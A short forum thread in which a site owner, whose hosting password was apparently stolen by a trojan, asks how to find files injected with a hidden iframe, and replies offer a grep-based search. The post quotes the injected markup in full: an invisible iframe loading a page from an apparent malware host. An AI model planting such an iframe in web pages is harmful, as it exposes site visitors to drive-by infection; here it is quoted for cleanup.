Is it possible to search a string in all files in my account for all sites at linux based hosting server. My hosting account password was hacked by using Trojan "pws:win32/Daurso.A" and many files are modified with this line. <iframe src="http://a5g.ru:8080/ts/in.cgi?pepsi95" width=125 height=125 style="visibility: hidden"></iframe> Code (markup): I have manually fixed many files but i don't know how many other files are infected. So i want to search above text in files and get list of all files which have above line of code. Please help Thanks in advance.
Try following: find /home/user -exec egrep -iH 'a5g.ru' {} \; replace /home/user with your actual physical path. Regards, Kailash
This will search for files with the extensions .cgi, .php and .html, and look for the a5g.ru phrase, then place the report in the file called a5g_report, in the root users home directory.